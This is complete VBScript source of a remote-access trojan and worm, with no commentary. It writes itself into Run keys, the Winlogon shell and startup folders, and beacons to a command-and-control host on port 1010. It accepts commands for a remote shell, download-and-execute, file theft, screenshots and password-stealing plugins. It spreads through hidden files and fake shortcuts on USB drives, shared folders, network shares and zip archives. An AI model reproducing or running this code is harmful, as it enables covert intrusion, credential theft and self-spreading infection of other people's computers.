On Error Resume Next
Randomize
Host = "microsoft31.redirectme.net"
Port = 1010
wTime = 1500
VER = "1.6"
cName = "dbg"
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oINT = CreateObject("MSXML2.xmlHTTP")
Dim mutex
WScript.Timeout = 0
SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName
SetupDir = oWSH.ExpandEnvironmentStrings("%TMP%") & "\"
Startup1 = oWSH.SpecialFolders("Startup") & "\"
Startup2 = oWSH.SpecialFolders("AllUsersStartup") & "\"
SetInstance
sDiskLink
sLocalDrives
sDropbox
sAres
sNetwork
FileCop(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
Do
TTT = Speak("waiting",wTime)
RES = Split(TTT, "{*}")
If UBound(RES) = -1 Then
WScript.Sleep 5000
else
Select Case RES(0)
Case "sleep"
wTime = RES(1)
Case "stop"
Speak "offline",""
WScript.Quit
Case "tasklist"
Speak "tasklist",TaskList
Case "getdrives"
Speak "getdrives",GetDrives
Case "getfiles"
Speak "getfiles",GetFiles(RES(1))
Case "taskkill"
oWSH.Run "taskkill /T /F /IM " & chr(34) & RES(1) & chr(34), 0, True
Speak "taskkill",""
Case "voice"
CreateObject("SAPI.SpVoice").Speak RES(1)
Speak "voice",""
Case "opencd"
OpenCD
Speak "opencd",""
Case "openweb"
oWSH.Run RES(1)
Speak "openweb",""
Case "getservices"
Speak "getservices",GetServices
Case "uninstall"
Call Uninstall
Case "remoteshell"
Speak "remoteshell",RemoteShell(RES(1))
Case "reset"
mutex.Close
oWSH.Run "wscript.exe //B " & chr(34) & SetupDir & SelfName & Chr(34)
Speak "reset",""
WScript.Quit
Case "exefile"
oWSH.Run chr(34) & Trim(RES(1)) & chr(34)
Speak "exefile",""
Case "mkdir"
oFSO.CreateFolder Trim(RES(1))
Speak "mkdir",""
Case "killfile"
oFSO.DeleteFile Trim(RES(1))
oFSO.DeleteFolder Trim(RES(1))
Speak "killfile",""
Case "getparent"
Speak "getfiles",GetFiles(oFSO.GetParentFolderName(RES(1)))
Case "downrun"
DownRun RES(1),RES(2)
Speak "downrun",""
Case "update"
mutex.Close
set mutex = oFSO.OpenTextFile(SetupDir & SelfName, 2, False)
mutex.write fileDecode(RES(1))
mutex.Close
Speak "",""
Speak "update",""
oWSH.Run "wscript.exe //B " & chr(34) & SetupDir & SelfName & Chr(34)
WScript.Quit
Case "sendfile"
SendFile(Trim(RES(1)))
Case "recvfile"
RecvFile(RES(1))
Speak "",""
If InStr(RES(1),"|plug|") > 0 Then
Speak "plugin-ok",""
Else
Speak "recvfile",""
End If
Case "uprun"
UpRun(RES(1))
Speak "",""
Speak "uprun",""
Case "netstart"
oWSH.Run "net start " & Trim(RES(1)),0
Speak "netstart",""
Case "netstop"
oWSH.Run "net stop " & Trim(RES(1)),0
Speak "netstop",""
Case "renfile"
Set tFile = oFSO.GetFile(Trim(RES(1)))
tFile.Name = Trim(RES(2))
Speak "renfile",""
Case "rendir"
Set tFolder = oFSO.GetFolder(Trim(RES(1)))
tFolder.Name = Trim(RES(2))
Speak "rendir",""
Case "runvbs"
execute fileDecode(RES(1))
Speak "runvbs",""
Case "shutdown"
oWSH.Run "shutdown /s /f /t 00"
Speak "shutdown",""
Case "reboot"
oWSH.Run "shutdown /r /f /t 00"
Speak "reboot",""
Case "takescreen"
TakeScreen
Case "msgbox"
fBox(RES(1))
Case "getpwd"
GetPWD
End Select
WScript.Sleep Eval(wTime)
End If
Loop
Function Speak(A, B)
On Error Resume Next
oINT.Open "post", "http://" & Host & ":" & Port , False
oINT.setRequestHeader "User-Agent", "Cactus/1.6"
oINT.Send "::" & ClientInfo & "::" & A & "::" & fileEncode(B) & "::<:end:>"
Speak = oINT.ResponseText
End Function
Function SetInstance
On Error Resume Next
oWSH.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(SelfName,".")(0), "wscript.exe //B " & chrw(34) & SetupDir & SelfName & chrw(34)
oWSH.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(SelfName,".")(0), "wscript.exe //B " & chrw(34) & SetupDir & SelfName & chrw(34)
oWSH.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(SelfName,".")(0), "wscript.exe //B " & chrw(34) & SetupDir & SelfName & chrw(34)
oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe, " & "wscript.exe //B " & chrw(34) & SetupDir & SelfName & chrw(34)
Err.Clear
oFSO.CopyFile SelfPath, SetupDir & SelfName, True
oFSO.CopyFile SelfPath, Startup1 & SelfName, True
oFSO.CopyFile SelfPath, Startup2 & SelfName, True
If err.number > 0 Then WScript.Quit
set SFNS = oFSO.GetFile(SelfPath)
set IFNS = oFSO.GetFile(SetupDir & SelfName)
If LCase(SFNS.ShortPath) <> LCase(IFNS.ShortPath) Then
oWSH.Run "wscript.exe //B " & chr(34) & SetupDir & SelfName & Chr(34)
WScript.Quit
End If
Set mutex = oFSO.OpenTextFile(SetupDir & SelfName, 8, False)
End Function
Function Uninstall
On Error Resume Next
mutex.Close
oWSH.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(SelfName,".")(0)
oWSH.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(SelfName,".")(0)
oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(SelfName,".")(0)
oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe"
oFSO.DeleteFile SetupDir & SelfName, True
oFSO.DeleteFile Startup1 & SelfName, True
oFSO.DeleteFile Startup2 & SelfName, True
uDiskLink
Speak "uninstalled",""
WScript.Quit
End Function
Function ClientInfo
On Error Resume Next
tmp = ""
tmp = tmp & userID & "(*)"
tmp = tmp & oWSH.ExpandEnvironmentStrings("%USERNAME%") & "(*)"
tmp = tmp & oWSH.ExpandEnvironmentStrings("%COMPUTERNAME%") & "(*)"
tmp = tmp & osName & "(*)"
tmp = tmp & VER & "(*)"
tmp = tmp & osAV & "(*)"
tmp = tmp & Day(Now) & "/" & Month(Now) & "/" & Year(Now) & " " & Hour(Now) & ":" & Minute(Now) & ":" & Second(Now)
ClientInfo = tmp
End Function
Function userID
On Error Resume Next
usrStr = oWSH.ExpandEnvironmentStrings("%USERNAME%") & oWSH.ExpandEnvironmentStrings("%COMPUTERNAME%")
Set WMI = GetObject("winmgmts:\\.\root\cimv2")
set D1 = WMI.ExecQuery ("select * from win32_logicaldisk")
for each D2 in D1
if D2.VolumeSerialNumber <> "" then
H = D2.VolumeSerialNumber
exit for
end if
next
tmp = ""
usrStr = H & usrStr
for i = 1 to Len(usrStr)
tmp = tmp & Hex(Oct(Asc(Mid(usrStr,i,1))))
next
if Len(tmp) > 15 then tmp = Left(tmp,15)
userID = cName & "_" & tmp
End Function
Function osName
On Error Resume Next
Set WMI = GetObject("winmgmts:\\.\root\cimv2")
set O1 = WMI.execquery ("select * from win32_operatingsystem")
tmp = ""
for each O2 in O1
tmp = Trim(O2.caption)
exit for
next
osName = tmp
End Function
Function osAV
On Error Resume Next
osAV = ""
Set WMI = getobject("winmgmts:\\.\root\cimv2")
Set P = WMI.execquery("SELECT * from win32_operatingsystem",,48)
For Each C In P
osVer = Split(C.version,".")(0)
Next
If osVer > 5 Then tmp = "securitycenter2" Else tmp = "securitycenter"
Set WMI2 = getobject("winmgmts:\\localhost\root\" & tmp)
Set Q = WMI2.execquery("SELECT * from antivirusproduct","wql",0)
For Each W In Q
osAV = osAV & W.displayname & "+"
Next
If osAV = "" Then osAV = "Not Found+"
osAV = Mid(osAV, 1, Len(osAV) - 1)
End Function
Function TaskList
On Error Resume Next
set WMI = getobject("winmgmts:\\.\root\cimv2")
set P1 = WMI.execquery("select * from win32_process",,48)
tmp = ""
for each P2 in P1
tmp = tmp & P2.Name & "|"
tmp = tmp & P2.ExecutablePath & "|"
tmp = tmp & P2.ProcessID & "<>"
next
TaskList = tmp
End function
Function GetDrives
On Error Resume Next
GetDrives = ""
For Each drive In oFSO.drives
If drive.isready = True Then
GetDrives = GetDrives & drive.path & "|" & drive.drivetype & "<>"
End If
Next
End Function
Function GetFiles(D)
On Error Resume Next
GetFiles = D & "<>"
For Each folder In oFSO.getfolder(D).subfolders
GetFiles = GetFiles & folder.name & "|" & "<DIR>" & "|" & "d" & "|" & folder.attributes & "<>"
Next
For Each file In oFSO.getfolder(D).files
GetFiles = GetFiles & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & "<>"
Next
End Function
Function OpenCD
On Error Resume Next
For Each D in oFSO.Drives
WScript.sleep 50
If D.DriveType = 4 Then CreateObject("Shell.Application").Namespace(17).ParseName(D.DriveLetter & ":\").InvokeVerb("Eject")
Next
End Function
Function GetServices
On Error Resume Next
GetServices = ""
Set WMI = GetObject("winmgmts:\\.\root\CIMV2")
Set P = WMI.ExecQuery("SELECT * FROM Win32_Service", "WQL", &h10 + &h20)
For Each objItem In P
GetServices = GetServices & objItem.Name & "|" & objItem.Caption & "|" & objItem.PathName & "|" & objItem.StartMode & "|" & objItem.State & "<>"
Next
End Function
Function RemoteShell(C)
On Error Resume Next
Set xCMD = oWSH.exec("%comspec% /c " & C)
If Not xCMD.stdOut.AtendOfStream Then
R = xCMD.stdOut.ReadAll
ElseIf Not xCMD.stdErr.AtendOfStream Then
R = xCMD.stdErr.ReadAll
else 
R = "<error>"
end if
RemoteShell = R
End Function
Function DownRun(x,y)
On Error Resume Next
Set oHTTP= CreateObject("WinHttp.WinHttpRequest.5.1")
Set oStream= CreateObject("ADODB.Stream") 
oHTTP.Open "GET", x, False 
oHTTP.Send 
T = oWSH.ExpandEnvironmentStrings("%TMP%") & "\" & oFSO.GetTempName & "." & y
If (oHTTP.Status = 200) Then 
oStream.Open 
oStream.Type = 1 
oStream.Write oHTTP.ResponseBody
oStream.SaveToFile T, 2 
oStream.Close 
End If
oWSH.Run oFSO.GetFile(T).ShortPath
End Function
Function UpRun(A)
On Error Resume Next
T = Split(A,"<>")
fUpRun = oWSH.ExpandEnvironmentStrings("%TMP%") & "\" & T(0)
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.dataType = "bin.base64"
objDocElem.Text = T(1)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.Write objDocElem.nodeTypedValue
objStream.SaveToFile fUpRun, 2
oWSH.Run chr(34) & fUpRun & chr(34)
End Function
Function RecvFile(A)
On Error Resume Next
T = Split(A,"<>")
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.dataType = "bin.base64"
objDocElem.Text = T(2)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.Write objDocElem.nodeTypedValue
If T(0) = "|plug|" Then
objStream.SaveToFile SetupDir & T(1), 2
Else
objStream.SaveToFile T(0) & T(1), 2
End If
End Function
Function SendFile(A)
On Error Resume Next
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open()
objStream.LoadFromFile(A)
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.dataType = "bin.base64"
objDocElem.nodeTypedValue = objStream.Read()
B = objDocElem.text
oINT.Open "post", "http://" & Host & ":" & Port , False
oINT.Send "::" & ClientInfo & "::sendfile::" & A & "<>" & B & "::<:end:>"
End Function
Function TakeScreen
On Error Resume Next
oWSH.Run SetupDir & "scr-plugin.exe"
For i = 1 to 10
If oFSO.FileExists(SetupDir & "scr-plugin.jpg") = True Then
wTime = 1
SendFile(SetupDir & "scr-plugin.jpg")
oFSO.DeleteFile(SetupDir & "scr-plugin.jpg")
Exit Function
Else
WScript.Sleep 500
End If
Next
Speak "no-scr",""
End Function
Function GetPWD
On Error Resume Next
If oFSO.FileExists(SetupDir & "pwd-plugin.exe") = True Then
oWSH.Run SetupDir & "pwd-plugin.exe"
For i = 1 to 10
If oFSO.FileExists(SetupDir & "pwd-plugin.txt") = True Then
SendFile(SetupDir & "pwd-plugin.txt")
oFSO.DeleteFile(SetupDir & "pwd-plugin.txt")
Exit Function
Else
WScript.Sleep 500
End If
Next
Speak "error-pwd",""
Else
Speak "no-pwd",""
End If
End Function
Function fBox(A)
On Error Resume Next
If oFSO.FileExists(SetupDir & "adv-plugin.exe") = True Then
oWSH.Run "taskkill /T /F /IM adv-plugin.exe", 0, True
WScript.Sleep 100
oWSH.Run SetupDir & "adv-plugin.exe " & A
Speak "msgbox",""
Else
Speak "no-adv",""
End If
End Function
Function fileEncode(A)
T = ""
For i = 1 To Len(A)
T = T & Asc(Mid(A, i, 1)) & "|"
Next
fileEncode = T
End Function
Function fileDecode(A)
C = ""
B = Split(A,"|")
For i = 0 to Ubound(B) -1
C = C & Chr(B(i))
Next
fileDecode = C
End Function
Function sAres
On Error Resume Next
X = oWSH.SpecialFolders("Desktop") & "\My Shared Folder"
If oFSO.FolderExists(X) = True Then oFSO.CopyFile SelfPath, X & "\" & SelfName
R = oWSH.RegRead("HKCU\SOFTWARE\Ares\Download.Folder")
If R <> "" Then oFSO.CopyFile SelfPath, H2A(R) & "\" & SelfName
End Function
Function H2A(H)
For i = 1 To Len(H)
N = Mid(H, i, 2)
V = V & Chr(eVal("&h" & N))
i = i + 1
Next
H2A = V
End Function
Function sNetwork
On Error Resume Next
MyIP = sGetIP
aSubNet = Split(MyIP, ".")
SubNet = aSubNet(0) & "." & aSubNet(1) & "." & aSubNet(2)
For i = 1 To 254
Call sPing(SubNet & "." & i)
Next
End Function
Function sPing(N)
On Error Resume Next
Set objWMIService = GetObject("winmgmts:")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_PingStatus WHERE Address = '" & N & "' AND Timeout = 50")
For Each objItem In colItems
If objItem.StatusCode = 0 Then Call sShare(N)
Next
End Function
Function sShare(N)
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\" & N & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Share")
For Each objItem In colItems
If objItem.Type = "" Then Exit Function
oFSO.CopyFile SelfPath, "\\" & N & "\" & objItem.Name & "\" & SelfName
Next
End Function
Function sGetIP
On Error Resume Next
Set WMI = GetObject("winmgmts:\\.\root\cimv2")
Set C = WMI.ExecQuery("SELECT IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each P In C
If Not IsNull(P.IPAddress) Then mIP = Trim(P.IPAddress(0))
Exit For
Next
sGetIP = mIP
End Function
Function sDropbox
On Error Resume Next
If oFSO.FileExists(oWSH.ExpandEnvironmentStrings("%APPDATA%") & "\Dropbox\host.db") = True Then
Set sFile = oFSO.OpenTextFile(oWSH.ExpandEnvironmentStrings("%APPDATA%") & "\Dropbox\host.db", 1)
Buffer = sFile.ReadAll
sFile.Close
DropPath = Split(Buffer, Chr(10))(1)
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.dataType = "bin.base64"
objDocElem.Text = DropPath
DropPath = Stream_BinaryToString(objDocElem.nodeTypedValue)
oFSO.CopyFile SelfPath, DropPath & "\" & SelfName
End If
End Function
Function Stream_BinaryToString(Binary)
On Error Resume Next
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write Binary
BinaryStream.Position = 0
BinaryStream.Type = 2
BinaryStream.CharSet = "us-ascii"
Stream_BinaryToString = BinaryStream.ReadText
End Function
Function sLocalDrives
On Error Resume Next
For i = 65 To 90
D = Chr(i) & ":\"
If oFSO.FolderExists(D) = True Then
oFSO.CopyFile SelfPath, D & SelfName
End If
Next
End Function
Function FileCop(P)
 On Error Resume Next
 Set Folds = oFSO.GetFolder(P)
 Set Files = Folds.Files
 
 For Each File In Files
 ext = LCase(oFSO.GetExtensionName(File.path))
 If ext = "zip" Then
EXE = SelfPath
ZIP = File.path
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
RR = ""
For Each CC in FILE.Items
RR = RR & CC.Name
Next
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE
WScript.Sleep 500
End If
 End If
 Next
 Set File = Folds.Subfolders
 For Each Subfol In File
 Call FileCop(Subfol.path)
 Next
End Function
Function sDiskLink
On Error Resume Next
For Each D in oFSO.Drives
If D.DriveType = 1 Then
oFSO.CopyFile SelfPath, D.path & "\" & SelfName, True
If oFSO.FileExists(D.Path & "\" & SelfName) = True Then oFSO.GetFile(D.Path & "\" & SelfName).Attributes = 2 + 4
For Each F in oFSO.GetFolder(D.Path & "\" ).Files
If InStr(F.name, ".") Then
fExt = oFSO.GetExtensionName(F.Path)
If LCase(fExt) <> "lnk" Then
F.Attributes = 2 + 4
If LCase(F.Name) <> LCase(SelfName) Then
Set oLNK = oWSH.CreateShortCut(D.path & "\" & F.Name & ".lnk")
oLNK.WindowStyle = 7
oLNK.TargetPath = "cmd.exe"
oLNK.WorkingDirectory = ""
oLNK.Arguments = "/c start " & Replace(SelfName," ", Chrw(34) & " " & Chrw(34)) & "&start " & Replace(F.Name," ", Chrw(34) & " " & Chrw(34)) &"&exit"
fICO = oWSH.RegRead("HKLM\Software\Classes\" & oWSH.RegRead("HKLM\Software\Classes\." & fExt & "\") & "\defaulticon\")
If InStr(fICO, ",") = 0 Then
oLNK.IconLocation = F.Path
Else
oLNK.IconLocation = fICO
End If
oLNK.Save
End If
End If
End If
Next
For Each FO in oFSO.GetFolder(D.Path & "\" ).SubFolders
FO.Attributes = 2 + 4
Set fLNK = oWSH.CreateShortCut(D.Path & "\" & FO.Name & ".lnk")
fLNK.WindowStyle = 7
fLNK.TargetPath = "cmd.exe"
fLNK.WorkingDirectory = ""
fLNK.Arguments = "/c start " & Replace(SelfPath," ", Chrw(34) & " " & Chrw(34)) & "&start explorer " & Replace(FO.Name," ", Chrw(34) & " " & Chrw(34)) &"&exit"
fLNK.IconLocation = oWSH.RegRead("HKEY_LOCAL_MACHINE\Software\Classes\folder\defaulticon\")
fLNK.Save
Next
End If
Next
End Function
Function uDiskLink
On Error Resume Next
For Each D In oFSO.Drives
If D.DriveType = 1 Then
For Each F In oFSO.GetFolder(D.Path & "\").Files
If InStr(F.Name, ".") Then
fExt = oFSO.GetExtensionName(F.Path)
if LCase(fExt) <> "lnk" Then
F.Attributes = 0
If LCase(F.name) = LCase(SelfName) Then
oFSO.DeleteFile D.Path & "\" & F.Name
Else
fn = Split(F.Name, ".")(0)
oFSO.DeleteFile D.Path & "\" & fn & ".lnk"
End If
Else
oFSO.DeleteFile(F.path)
End if
End If
Next
For Each FOL In oFSO.GetFolder(D.Path & "\" ).SubFolders
FOL.Attributes = 0
next
End If
Next
End Function

